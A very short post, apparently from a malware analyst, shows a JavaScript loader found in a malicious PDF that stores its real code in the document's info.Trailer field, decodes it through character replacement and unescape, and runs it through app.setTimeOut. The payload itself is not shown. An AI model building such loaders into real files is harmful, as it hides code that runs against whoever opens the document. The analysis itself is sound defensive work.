More fun with PDF Obfuscation

Another interesting way to hide a block of JavaScript inside a PDF, info.Trailer:

exmu='dmw';if(app.alert)exmu='';WmMw=this;zisc=WmMw.info;exmu=exmu+unescape('%')+exmu;y1vw=zisc.Trailer.replace(/([A-Z])/g,exmu);app.setTimeOut(unescape(y1vw),3)